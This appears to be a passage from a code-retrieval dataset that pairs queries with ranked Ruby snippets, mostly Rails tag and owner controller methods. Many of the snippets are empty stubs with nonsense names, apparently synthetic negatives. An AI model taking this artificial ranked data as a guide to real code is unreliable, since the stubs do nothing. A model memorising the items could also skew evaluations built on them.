the\n # counter for the PUID category variable when we get a hit.\n\n # Variable @cat_hash is an instance variable that is a\n # list-of-hash with one list element per PUID category. The key is\n # the category name and the value is the count of identified files\n # for that category.\n\n # This simplistic algo won't print categories with zero\n # entries. The web page simply does a .key.sort.each so the porder\n # of the categories will change if the category names are changed.\n\n\n @cat_hash = {}\n pfn = \"#{Script_path}/#{Puid_db}\"\n ps = puid_list(pfn)\n puid_loh = ps.loh()\n\n @file_total = 0\n @loh.each { |rh|\n puid_loh.each { |ph|\n if (rh['ext_id'].eql?(ph['puid']))\n if (@cat_hash[ph['rmatic_category']].to_s.empty?())\n @cat_hash[ph['rmatic_category']] = 1\n else\n @cat_hash[ph['rmatic_category']] += 1\n end\n @file_total += 1\n end\n }\n }\n \n # print \"#{@cat_hash}\\n\";\n\n end",
"title": ""
},
{
"docid": "58973d667aee08b91c3796566be944b2",
"score": "0.51251686",
"text": "def validate_folio_xml_import(options)\n options['report_file'] ||= config.compute_glob_pattern(\n 'import_folio_xml_dir/validation_report_file'\n )\n reset_validation_report(options, 'validate_folio_xml_import')\n file_specs = config.compute_validation_file_specs(\n primary: 'import_folio_xml_dir/all_files', # for reporting only\n folio_xml_sources: options['input'] || 'import_folio_xml_dir/xml_files',\n imported_at_files: 'import_folio_xml_dir/at_files',\n imported_repositext_files: 'import_folio_xml_dir/repositext_files',\n )\n validation_options = {\n 'folio_xml_parser_class' => config.kramdown_parser(:folio_xml),\n 'kramdown_converter_method_name' => config.kramdown_converter_method(:to_at),\n 'kramdown_parser_class' => config.kramdown_parser(:kramdown),\n 'kramdown_validation_parser_class' => config.kramdown_parser(:kramdown_validation)\n }.merge(options)\n if options['run_options'].include?('pre_import')\n Repositext::Validation::FolioXmlPreImport.new(\n file_specs,\n validation_options\n ).run\n end\n if options['run_options'].include?('post_import')\n Repositext::Validation::FolioXmlPostImport.new(\n file_specs,\n validation_options\n ).run\n end\n end",
"title": ""
},
{
"docid": "2c05a0c51d35dc0315ab2f0e0ad6afb3",
"score": "0.5124559",
"text": "def load_file_stats\n @added_files = []\n @modified_files = []\n @deleted_files = []\n @repo.raw_commit(@id).diffs.each do |diff|\n if diff.new_file\n @added_files << diff.b_path\n elsif diff.deleted_file\n @deleted_files << diff.b_path\n elsif diff.renamed_file\n @added_files << diff.b_path\n @deleted_files << diff.a_path\n else\n @modified_files << diff.b_path\n end\n end\n end",
"title": ""
}
] |
ef55bfcf2fbe14eff38de77f30e74f21
|
BEGINNING OF TIC TAC TOE METHODS
|
[
{
"docid": "503acc8ad30bea057b3cdb4c2e84300c",
"score": "0.0",
"text": "def ttt_board\n board = []\n 3.times do |x|\n board << [\" \",\" \",\" \"]\n end\n board\n end",
"title": ""
}
] |
[
{
"docid": "8d0e128ad87cd20a86507c09c46a6f67",
"score": "0.7291908",
"text": "def termitidae()\n end",
"title": ""
},
{
"docid": "a9dd648a5d0d2e7d56223e7c753f5e2e",
"score": "0.6594724",
"text": "def telegraphical()\n end",
"title": ""
},
{
"docid": "2dbabd0eeb642c38aad852e40fc6aca7",
"score": "0.64129543",
"text": "def operations; end",
"title": ""
},
{
"docid": "2dbabd0eeb642c38aad852e40fc6aca7",
"score": "0.64129543",
"text": "def operations; end",
"title": ""
},
{
"docid": "54a53621e5fd3fc0cc3d2ff2901a893e",
"score": "0.62928295",
"text": "def chazelle\n end",
"title": ""
},
{
"docid": "bc658f9936671408e02baa884ac86390",
"score": "0.62724274",
"text": "def anchored; end",
"title": ""
},
{
"docid": "2836c38d4773b1dedffca4dead1c2cf2",
"score": "0.62515426",
"text": "def t; end",
"title": ""
},
{
"docid": "012884b515dec299d2c741ccfb108595",
"score": "0.6223068",
"text": "def apostrophus_orc()\n end",
"title": ""
},
{
"docid": "67081eb3c98dc9ab87bd978f73a10e81",
"score": "0.61437625",
"text": "def advanced; end",
"title": ""
},
{
"docid": "67081eb3c98dc9ab87bd978f73a10e81",
"score": "0.61437625",
"text": "def advanced; end",
"title": ""
},
{
"docid": "bd395ef5570ec94ad67ca3120a943fca",
"score": "0.608215",
"text": "def operation; end",
"title": ""
},
{
"docid": "bd395ef5570ec94ad67ca3120a943fca",
"score": "0.608215",
"text": "def operation; end",
"title": ""
},
{
"docid": "bd395ef5570ec94ad67ca3120a943fca",
"score": "0.608215",
"text": "def operation; end",
"title": ""
},
{
"docid": "bd395ef5570ec94ad67ca3120a943fca",
"score": "0.608215",
"text": "def operation; end",
"title": ""
},
{
"docid": "37dd51a636bd4f92c4c4bdb82296b191",
"score": "0.6077533",
"text": "def frizz_pharmacolite_triaconter()\n end",
"title": ""
},
{
"docid": "41367627db4e1654b5c6ebcd6d9b1266",
"score": "0.60503805",
"text": "def interactions; end",
"title": ""
},
{
"docid": "531672222e67bcda6323e3e94cb85253",
"score": "0.6021325",
"text": "def tracers; end",
"title": ""
},
{
"docid": "b6b2bcc0062aeb115edab7b10cbe6930",
"score": "0.60071474",
"text": "def desired; end",
"title": ""
},
{
"docid": "aff328ebc659d56254c011af78176342",
"score": "0.6003259",
"text": "def trit; TritMagic; end",
"title": ""
},
{
"docid": "aff328ebc659d56254c011af78176342",
"score": "0.6003259",
"text": "def trit; TritMagic; end",
"title": ""
},
{
"docid": "aff328ebc659d56254c011af78176342",
"score": "0.6003259",
"text": "def trit; TritMagic; end",
"title": ""
},
{
"docid": "ce60a3aa5d454e320f0be817965a315f",
"score": "0.5969639",
"text": "def enharmonics\n \n end",
"title": ""
},
{
"docid": "752e2844a9f276ee5cfa6836def131a9",
"score": "0.5968793",
"text": "def tld; end",
"title": ""
},
{
"docid": "752e2844a9f276ee5cfa6836def131a9",
"score": "0.5968793",
"text": "def tld; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.59410876",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.59410876",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.59410876",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "954c5828178f6e4a659c40ef92736547",
"score": "0.59257066",
"text": "def helpful!\n\n\t\tend",
"title": ""
},
{
"docid": "60f09b97e3141bf7ce1f3b6b04765092",
"score": "0.5900619",
"text": "def tartarlike_studite()\n end",
"title": ""
},
{
"docid": "f52e81a2ed7ce3f330007415e62d4235",
"score": "0.58973086",
"text": "def eoz\n end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.58872694",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.58872694",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.58872694",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.58872694",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.58872694",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.58872694",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "1151221aa9457e5cad317e4fec922758",
"score": "0.588381",
"text": "def adjugate; end",
"title": ""
},
{
"docid": "549cdd4767cacb4029e22f746ccd68b5",
"score": "0.58831275",
"text": "def work; end",
"title": ""
},
{
"docid": "423ac542b3d6970c009a6aaf7edd41ba",
"score": "0.5881187",
"text": "def c2()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "df034585af6986785fa1cc5a0bbca4c5",
"score": "0.58145404",
"text": "def cops; end",
"title": ""
},
{
"docid": "df034585af6986785fa1cc5a0bbca4c5",
"score": "0.58145404",
"text": "def cops; end",
"title": ""
},
{
"docid": "df034585af6986785fa1cc5a0bbca4c5",
"score": "0.58145404",
"text": "def cops; end",
"title": ""
},
{
"docid": "4c9190bec591e0d8bcffbea3e5e4fda2",
"score": "0.5813722",
"text": "def agence\n\n end",
"title": ""
},
{
"docid": "bd77180c68877091f38f06c7eb1e564d",
"score": "0.58059835",
"text": "def earnestness_cephaloclasia_preposterous()\n end",
"title": ""
},
{
"docid": "4fe655da88e61d28e8b9a9ed964af838",
"score": "0.5792328",
"text": "def imprensa\n\t\t\n\tend",
"title": ""
},
{
"docid": "a32b83ce521511578437feb630296bed",
"score": "0.5790503",
"text": "def tutania_enzymotic(devoutlessly_clathrus, formalith)\n end",
"title": ""
},
{
"docid": "edcfd3e6d3b53473470fc181a3e4cb25",
"score": "0.57873666",
"text": "def how_it_work\n end",
"title": ""
},
{
"docid": "3a1ac69b06f31e7eb07d7d04a7942bb8",
"score": "0.57835853",
"text": "def understand; end",
"title": ""
},
{
"docid": "3c298ed47fde79a7b75554db439cce32",
"score": "0.5781516",
"text": "def ho()\n\t#TODO\nend",
"title": ""
},
{
"docid": "b2743353a40060700f27f7761a651f64",
"score": "0.577463",
"text": "def thud!\n\t\tend",
"title": ""
},
{
"docid": "ab21b7b3e3fbed0a659f17c5548ea7b2",
"score": "0.5766943",
"text": "def tt; end",
"title": ""
},
{
"docid": "ab21b7b3e3fbed0a659f17c5548ea7b2",
"score": "0.5766943",
"text": "def tt; end",
"title": ""
},
{
"docid": "871ec6288b069a405aae843577098ab9",
"score": "0.5766088",
"text": "def oportunidade\n\tend",
"title": ""
},
{
"docid": "29a83735da59010f07e1633934837c20",
"score": "0.5756679",
"text": "def underconstruction\n end",
"title": ""
},
{
"docid": "0258123d1e95c51404c45560b987bd9e",
"score": "0.5750513",
"text": "def welch_ttest\n end",
"title": ""
},
{
"docid": "3caf4c824a6d6a4a5616c13fcab418da",
"score": "0.57104474",
"text": "def applied; end",
"title": ""
},
{
"docid": "005e6fc140cba1f79535dcb415d4bcd9",
"score": "0.57066894",
"text": "def strategy; end",
"title": ""
},
{
"docid": "005e6fc140cba1f79535dcb415d4bcd9",
"score": "0.57066894",
"text": "def strategy; end",
"title": ""
},
{
"docid": "8a91bfaa4b92b136c5d230a732b0d6e6",
"score": "0.5679138",
"text": "def eod?; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.5679116",
"text": "def implementation; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.5679116",
"text": "def implementation; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.5679116",
"text": "def implementation; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.5679116",
"text": "def implementation; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.5679116",
"text": "def implementation; end",
"title": ""
},
{
"docid": "798ecf8e18d58d85c3ddaf619f20f653",
"score": "0.5677626",
"text": "def subjectless; end",
"title": ""
},
{
"docid": "3698dfbcdbab4f97f24a9b1fbb90beb5",
"score": "0.5673526",
"text": "def covector; end",
"title": ""
},
{
"docid": "2dee7e587ecfe70f997870a7ebcb05ca",
"score": "0.56671655",
"text": "def conatct\n end",
"title": ""
},
{
"docid": "908a75d2715d45fa47a68ef923e9a084",
"score": "0.565787",
"text": "def sereward_laking_tuchunize()\n end",
"title": ""
},
{
"docid": "7b9ae0f8449ee27b9ccb332275ee606f",
"score": "0.565303",
"text": "def cftab; end",
"title": ""
},
{
"docid": "995b915898e500cc112b42e009bf205d",
"score": "0.56477726",
"text": "def nwo; end",
"title": ""
},
{
"docid": "995b915898e500cc112b42e009bf205d",
"score": "0.56477726",
"text": "def nwo; end",
"title": ""
},
{
"docid": "11731a5a3243408f29627ae9ed59e1ed",
"score": "0.5647653",
"text": "def paradox\n end",
"title": ""
},
{
"docid": "df9a1d4dbd3b39eac5a3000bbce83ec6",
"score": "0.56440187",
"text": "def empathy\n end",
"title": ""
},
{
"docid": "58e2e07d11b107b6864a328f2187e248",
"score": "0.5643131",
"text": "def apop?; end",
"title": ""
},
{
"docid": "3ae137b1a40ff3aae4f3cbb2b6082797",
"score": "0.5642698",
"text": "def reaper; end",
"title": ""
},
{
"docid": "c8216d758c47c5c1acf2dd26692ffe03",
"score": "0.56323475",
"text": "def purpose; end",
"title": ""
},
{
"docid": "b7cfdec5315b5d3c26b002081b1dbae3",
"score": "0.56247556",
"text": "def coming_soon; end",
"title": ""
},
{
"docid": "3d45e3d988480e2a6905cd22f0936351",
"score": "0.5607481",
"text": "def for; end",
"title": ""
},
{
"docid": "3d45e3d988480e2a6905cd22f0936351",
"score": "0.5607481",
"text": "def for; end",
"title": ""
},
{
"docid": "3d45e3d988480e2a6905cd22f0936351",
"score": "0.5607481",
"text": "def for; end",
"title": ""
},
{
"docid": "fa686cdf1942762f7041d1fb7b0aacb0",
"score": "0.56018126",
"text": "def comofunciona\n\t\t\n\tend",
"title": ""
},
{
"docid": "e27d5d02e3eed534e8cefa202334cb5e",
"score": "0.559404",
"text": "def ci; end",
"title": ""
},
{
"docid": "8d1d77531cce0d12539ad149eebad454",
"score": "0.5592989",
"text": "def sub_from; end",
"title": ""
},
{
"docid": "3d9abab6384f891b3bc8138a5a311580",
"score": "0.5577506",
"text": "def op; end",
"title": ""
},
{
"docid": "3d9abab6384f891b3bc8138a5a311580",
"score": "0.5577506",
"text": "def op; end",
"title": ""
},
{
"docid": "d11da73d7a741de16ef5e4fb4157a01a",
"score": "0.5570228",
"text": "def access; end",
"title": ""
},
{
"docid": "d11da73d7a741de16ef5e4fb4157a01a",
"score": "0.5570228",
"text": "def access; end",
"title": ""
},
{
"docid": "ce1c918d54637f02d942d92f1f3cbe54",
"score": "0.5564242",
"text": "def zoosporangia_touched_subadministrator(exoascales_vinagron)\n kailyard(cavalierism)\n ting_palmyrenian(snuffy)\n end",
"title": ""
},
{
"docid": "59ede2a46cfe362e996ab9284fc39c09",
"score": "0.5558738",
"text": "def c1()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "7ff2011fa3dc45585a9272310eafb765",
"score": "0.5555456",
"text": "def isolated; end",
"title": ""
},
{
"docid": "7ec57c3874853e50086febdbdd3221bf",
"score": "0.55536944",
"text": "def wedding; end",
"title": ""
},
{
"docid": "a344215c3161402d928d5c07ee1e0b22",
"score": "0.5551001",
"text": "def core; end",
"title": ""
},
{
"docid": "9c014c4a21c67668755db7318039e86d",
"score": "0.5550722",
"text": "def valedictorian\n end",
"title": ""
},
{
"docid": "85b8e1e0d82595fecdc0c6cb428ecfd3",
"score": "0.55398315",
"text": "def t2\r\n\t\tself\r\n\tend",
"title": ""
},
{
"docid": "2db1c02e5bf64bf8ca50a541f2af194c",
"score": "0.55393517",
"text": "def for\n end",
"title": ""
},
{
"docid": "da32862891e2ebc3c8d71f65524bb4c1",
"score": "0.5539037",
"text": "def prosa\n end",
"title": ""
},
{
"docid": "da32862891e2ebc3c8d71f65524bb4c1",
"score": "0.5539037",
"text": "def prosa\n end",
"title": ""
},
{
"docid": "da7a438125b7002fec9a051ca7ccb6c4",
"score": "0.55371755",
"text": "def commission\n abstract\n end",
"title": ""
},
{
"docid": "559113bb1913127977405593752f673a",
"score": "0.55330825",
"text": "def task; end",
"title": ""
},
{
"docid": "559113bb1913127977405593752f673a",
"score": "0.55330825",
"text": "def task; end",
"title": ""
},
{
"docid": "9b632aa1829227dfc5a873c0d05ccbee",
"score": "0.5530996",
"text": "def execution_order; end",
"title": ""
}
] |
e33c8b7ecff740b7d41531f70f021487
|
Updates tags for a given owner using the params passed through the tagging web interface. This just updates the tags for a given owner, which defaults to the current user it doesn't affect other peoples tags for that item.
|
[
{
"docid": "82f74012eccead75cb79f89ce92edaa5",
"score": "0.6180128",
"text": "def update_owned_annotations entity, attr='tag', owner=User.current_user\n unless owner.nil?\n entity.tag_as_user_with_params params, attr\n if immediately_clear_tag_cloud?\n expire_annotation_fragments(attr)\n else\n #TODO: should expire and rebuild in a background task\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "dd06a2bfa66c282f716a4310b39868f1",
"score": "0.6324392",
"text": "def update_owner!(owner_key, data)\n put \"/owner/#{owner_key}\", body: data\n end",
"title": ""
},
{
"docid": "92ac1da324faaebb9c710e37dda7b0bc",
"score": "0.6017257",
"text": "def owner=(owner)\n @owners ||= []\n @owners << owner\n end",
"title": ""
},
{
"docid": "4afe712b4829bbe34f0d0f9c582488f0",
"score": "0.59110314",
"text": "def set_tags\n taggable_uid = unsafe_params[\"taggable_uid\"]\n unless taggable_uid.is_a?(String) && taggable_uid != \"\"\n raise \"Taggable uid needs to be a non-empty string\"\n end\n\n tags = unsafe_params[\"tags\"]\n raise \"Tags need to be comma-separated strings\" unless tags.is_a?(String)\n\n suggested_tags = unsafe_params[\"suggested_tags\"] # Optional\n tags = (tags.split(\",\") + suggested_tags).join(\",\") if suggested_tags.is_a?(Array)\n\n tag_context = unsafe_params[\"tag_context\"] # Optional\n\n taggable = item_from_uid(taggable_uid)\n\n if taggable.editable_by?(@context)\n path_to_redirect = pathify(taggable)\n @context.user.tag(taggable, with: tags, on: tag_context.presence || :tags)\n redirect_to path_to_redirect\n else\n flash[:error] = \"This item is not accessible by you\"\n redirect_to :root\n end\n end",
"title": ""
},
{
"docid": "1f8f0b4394807be530bec7bdd01532b3",
"score": "0.58652264",
"text": "def add_owner(owner)\n @owner_info = owner\n end",
"title": ""
},
{
"docid": "468425ed17cfeda695132fe1fab17083",
"score": "0.58473194",
"text": "def set_owner(new_owner)\n @owner = new_owner\n end",
"title": ""
},
{
"docid": "5563da458d0fd3aac05d626c49cbe1d3",
"score": "0.5825014",
"text": "def change_owner\r\n add_breadcrumb I18n.t('accounts.show.changeowner'), request.url\r\n @account = current_account\r\n if request.post? || request.put?\r\n #Make the change to the users involved\r\n previous_owner = User.find(params[:account][:current_owner_id])\r\n new_owner = User.find(params[:account][:owner_id])\r\n if\r\n previous_owner.update_attribute(:owner, false) && new_owner.update_attribute(:owner, true)\r\n flash[:notice] = I18n.t('accountscontroller.accountupdated') + \" - \" + I18n.t('accountscontroller.newowneris') + \": \" + params[:account][:owner_full_name]\r\n redirect_to root_url\r\n else\r\n render :action => 'change_owner'\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "be3fcfc2bea00b3cbd47cd1a56a86ada",
"score": "0.58051413",
"text": "def set_owner=(owner_name)\n @owner_name = owner_name\n end",
"title": ""
},
{
"docid": "c830c97b8d4180c2512191ddc72eab21",
"score": "0.571213",
"text": "def set_owner= (owner_name)\n\t\t@owner_name = owner_name\n\tend",
"title": ""
},
{
"docid": "361bf0054945c1ca014c5eb86fc41a01",
"score": "0.570192",
"text": "def set_owner=(owner_name)\n\t\t@owner_name = owner_name\n\tend",
"title": ""
},
{
"docid": "361bf0054945c1ca014c5eb86fc41a01",
"score": "0.570192",
"text": "def set_owner=(owner_name)\n\t\t@owner_name = owner_name\n\tend",
"title": ""
},
{
"docid": "361bf0054945c1ca014c5eb86fc41a01",
"score": "0.570192",
"text": "def set_owner=(owner_name)\n\t\t@owner_name = owner_name\n\tend",
"title": ""
},
{
"docid": "361bf0054945c1ca014c5eb86fc41a01",
"score": "0.570192",
"text": "def set_owner=(owner_name)\n\t\t@owner_name = owner_name\n\tend",
"title": ""
},
{
"docid": "361bf0054945c1ca014c5eb86fc41a01",
"score": "0.570192",
"text": "def set_owner=(owner_name)\n\t\t@owner_name = owner_name\n\tend",
"title": ""
},
{
"docid": "b375176388cd04eef72812614bb505f1",
"score": "0.5701737",
"text": "def add_owner(owner)\n @owner = owner\n end",
"title": ""
},
{
"docid": "3c5a04735576b409907e8f1a18d9ec04",
"score": "0.5693109",
"text": "def set_owner=(owner_name)\n\t\t@owner_name=owner_name\n\tend",
"title": ""
},
{
"docid": "15b131cc62b45367f5ba8ff6ab817fd5",
"score": "0.5664975",
"text": "def owner=(owner)\n owner_id = owner.id\n save\n end",
"title": ""
},
{
"docid": "4cfb04aab4684ea155a8b9b8403a0435",
"score": "0.5627226",
"text": "def associate_owner(owner)\n @owner = owner\n # remember to remove @owner from the initializer if I want to use this method\n end",
"title": ""
},
{
"docid": "92f814fcc0aca1e687cc94eb77e1bdb6",
"score": "0.56219864",
"text": "def update\n if current_user.try(:admin?)\n @tag = Tag.find(params[:id])\n current_user.currentGame().tags << @tag\n @tag.user = current_user\n \n respond_to do |format|\n if @tag.update_attributes(params[:tag])\n format.html { redirect_to @tag, notice: 'Tag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tag.errors, status: :unprocessable_entity }\n end\n end\n else\n flash[:notice] = 'You need admin privileges to go there.'\n redirect_to :controller => \"home\", :action => \"index\"\n end\n end",
"title": ""
},
{
"docid": "dedda921ec759c2d61cafb6a99c4ba1a",
"score": "0.560835",
"text": "def update\n respond_to do |format|\n if @owner.update(owner_params)\n if(@owner.is_primary)\n edit_user\n end\n format.html { redirect_to @owner, notice: I18n.t('views.owner.updated') }\n format.json { render :show, status: :ok, location: @owner }\n else\n format.html { render :edit }\n format.json { render json: @owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2d12b2ed1fa010f2353eed1a72ec39f0",
"score": "0.5588611",
"text": "def apply_owner_metadata\n owner = owner_from_attributes || user\n curation_concern.edit_users += [owner.user_key]\n curation_concern.owner = owner.user_key\n end",
"title": ""
},
{
"docid": "734746b80bebc6d926b0e71adcc95f0c",
"score": "0.557014",
"text": "def tags_on(context, owner=nil)\r\n options = if owner\r\n if context.to_s == 'tags'\r\n {:conditions => [\"context IS NULL AND tagger_id = ? AND tagger_type = ?\",\r\n owner.id, owner.class.to_s]}\r\n else\r\n {:conditions => [\"context = ? AND tagger_id = ? AND tagger_type = ?\",\r\n context.to_s, owner.id, owner.class.to_s]}\r\n end\r\n else\r\n if context.to_s == 'tags'\r\n {:conditions => \"context IS NULL\"}\r\n else\r\n {:conditions => [\"context = ?\", context.to_s]}\r\n end\r\n end\r\n self.tags.find(:all, options)\r\n end",
"title": ""
},
{
"docid": "4e88ff9b75409d24c9b4a6edf0bf1631",
"score": "0.55566263",
"text": "def set_owner\n @owner = Owner.find(params[:owner_id])\n end",
"title": ""
},
{
"docid": "808756d98847287c8f07c06e445cae52",
"score": "0.5554177",
"text": "def aws_owner=(val)\n self.account_id = Account.ids_from_account_numbers[val]\n write_attribute :aws_owner, val\n end",
"title": ""
},
{
"docid": "7bf6c398de265a15e1bf0d7be3cd97d0",
"score": "0.5551905",
"text": "def write_tag_list_on(context, tags)\n # if (self.is_auto_tag_ownership_enabled?)\n # self.tag_owner.tag(self, :with => tags, :on => context, :skip_save => true)\n # else\n self.set_tag_list_on(context, tags)\n # end\n end",
"title": ""
},
{
"docid": "d8f393977c31528aec99257c6171d85b",
"score": "0.55158454",
"text": "def update_tags!\n Tag.where(user_id: id).update_all(user_id: nil, username: username)\n end",
"title": ""
},
{
"docid": "4bb7223d223908f46529ccf93fd3db2d",
"score": "0.5507203",
"text": "def update\n render json: { error: 'Not Authorized' }, status: 401 unless current_user == @housing.user || current_user.moderator?\n @housing.tags = Tag.where(id: (@housing.tags.pluck(:id) +( params[:tags].split(', ') || [])).uniq, category: 'housing')\n if @housing.update(housing_params)\n render :show, status: :ok, location: @housing\n else\n render json: @housing.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "52a2446f0a762e616840086d679cef06",
"score": "0.5482168",
"text": "def set_owner\n @owner = current_owner\n end",
"title": ""
},
{
"docid": "17561972f577668a686f5bed46daeeae",
"score": "0.5454202",
"text": "def update\n respond_to do |format|\n if @owner.update(owner_params)\n format.html { redirect_to @owner, notice: 'Пользователь изменен.' }\n format.json { render :show, status: :ok, location: @owner }\n else\n format.html { render :edit }\n format.json { render json: @owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f018383d23132c76665ea0034e385aee",
"score": "0.54505503",
"text": "def set_owner_info\n @owner_info = OwnerInfo.find(params[:id])\n end",
"title": ""
},
{
"docid": "23f53e3f578f564ff4a232b4c0acb1ff",
"score": "0.5448919",
"text": "def set_owner\n @owner = Owner.find(params[:id])\n end",
"title": ""
},
{
"docid": "23f53e3f578f564ff4a232b4c0acb1ff",
"score": "0.5448919",
"text": "def set_owner\n @owner = Owner.find(params[:id])\n end",
"title": ""
},
{
"docid": "23f53e3f578f564ff4a232b4c0acb1ff",
"score": "0.5448919",
"text": "def set_owner\n @owner = Owner.find(params[:id])\n end",
"title": ""
},
{
"docid": "23f53e3f578f564ff4a232b4c0acb1ff",
"score": "0.5448919",
"text": "def set_owner\n @owner = Owner.find(params[:id])\n end",
"title": ""
},
{
"docid": "23f53e3f578f564ff4a232b4c0acb1ff",
"score": "0.5448919",
"text": "def set_owner\n @owner = Owner.find(params[:id])\n end",
"title": ""
},
{
"docid": "23f53e3f578f564ff4a232b4c0acb1ff",
"score": "0.5448919",
"text": "def set_owner\n @owner = Owner.find(params[:id])\n end",
"title": ""
},
{
"docid": "23f53e3f578f564ff4a232b4c0acb1ff",
"score": "0.5448919",
"text": "def set_owner\n @owner = Owner.find(params[:id])\n end",
"title": ""
},
{
"docid": "36bfd1c423f44a0e68d04e1b179bf294",
"score": "0.54439646",
"text": "def add_owner(gem_name, owner)\n post(\"/api/v1/gems/#{gem_name}/owners\", :email => owner)\n end",
"title": ""
},
{
"docid": "7f27898c1dba7e409087bffc557a50b3",
"score": "0.54283834",
"text": "def update_owned_annotations(entity, owner, attr, annotations)\n unless owner.nil?\n entity.add_annotations(annotations, attr, owner, true)\n expire_annotation_fragments(attr) if immediately_clear_tag_cloud?\n end\n end",
"title": ""
},
{
"docid": "16de7a708335d8da71ca653eaa556ecc",
"score": "0.5417361",
"text": "def set_owner\n @owner = Owner.find(params[:id])\n end",
"title": ""
},
{
"docid": "de8ddc6069953ee48cf1cd849ab17b36",
"score": "0.53871167",
"text": "def update\n unless @current_user.has_privilege?('owners', 'update')\n flash.now[:notice] = '你没有更新业主的权限,请联系管理员'\n render_403\n return\n end\n @owner = Owner.find(params[:id])\n @owner.house.owner_name = @owner.name\n if @owner.update_attributes(params[:owner])\n redirect_to(owners_url, :notice => '更新业主信息成功')\n else\n render :action => 'edit'\n end\n end",
"title": ""
},
{
"docid": "14f4f746cdd8dc99e134bb627bfa19df",
"score": "0.538624",
"text": "def update\n respond_to do |format|\n if @owner.update(owner_params)\n format.html { redirect_to @owner, notice: 'Owner was successfully updated.' }\n format.json { render :show, status: :ok, location: @owner }\n else\n format.html { render :edit }\n format.json { render json: @owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aef5dc4c76a21285b1ab335353da4eee",
"score": "0.5374208",
"text": "def update_tags\n end",
"title": ""
},
{
"docid": "d557309c55d11086734e8723f8d29f9a",
"score": "0.5363989",
"text": "def add_owner(owner_object_name)\n @owner = owner_object_name\n end",
"title": ""
},
{
"docid": "21a26e3b36a2786d346d4969a08f9ae9",
"score": "0.5362871",
"text": "def update\n if @user == @note.user\n if @note.update(update_note_params)\n if t = params.permit(:tags)[:tags]\n tag_names = t.split(\", \")\n tags = [Tag.create_with(name: \"note\").find_or_create_by(name: \"note\")]\n for n in tag_names\n tags += [Tag.create_with(name: n).find_or_create_by(name: n)]\n end\n @note.tags = tags\n end\n @notice = \"Updated successfully.\"\n render :file => \"#{Rails.root}/public/success\", :layout => false\n else\n @notice = \"Denied access. Update failed.\"\n render :file => \"#{Rails.root}/public/error\", :layout => false\n end\n else\n @notice = \"Denied access. Incorrect user and password.\"\n render :file => \"#{Rails.root}/public/error\", :layout => false\n end\n end",
"title": ""
},
{
"docid": "7efafb884979e742b96ad4491a4889b2",
"score": "0.5354787",
"text": "def update\n if @owner.update(owner_params)\n render :show, status: :ok, location: @owner\n else\n render json: @owner.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "27b8043e35b815b43f1d08aced3fd412",
"score": "0.53469664",
"text": "def setOwnerName(ownerName)\r\n\t\t\t\t\t@ownerName = ownerName\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "27b8043e35b815b43f1d08aced3fd412",
"score": "0.53469664",
"text": "def setOwnerName(ownerName)\r\n\t\t\t\t\t@ownerName = ownerName\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "27b8043e35b815b43f1d08aced3fd412",
"score": "0.53469664",
"text": "def setOwnerName(ownerName)\r\n\t\t\t\t\t@ownerName = ownerName\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "1b6808a71b5f39113c9b8eab9ba2bfb5",
"score": "0.53466237",
"text": "def update\n @owner = Owner.find(params[:id])\n\n respond_to do |format|\n if @owner.update_attributes(params[:owner])\n format.html { redirect_to(admin_owner_path(@owner), :notice => 'Owner was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @owner.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f78136eb0447f180061b75e157ab7fb6",
"score": "0.53373766",
"text": "def owner_params\n params.require(:owner).permit(:email, :name, :avatar)\n end",
"title": ""
},
{
"docid": "39bd3f4a758549eb7124adfa51d6a071",
"score": "0.53247756",
"text": "def shot_by\n process_tags(%w{ ownername })\n end",
"title": ""
},
{
"docid": "375e9df6f6d3773dcd2e87b765c572a7",
"score": "0.53207743",
"text": "def update\n respond_to do |format|\n if @owner.update(owner_params)\n format.html { redirect_to @owner, notice: \"#{@owner.name} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @owner }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5e52007c2d2b6bd6b0c406d5b2433b3d",
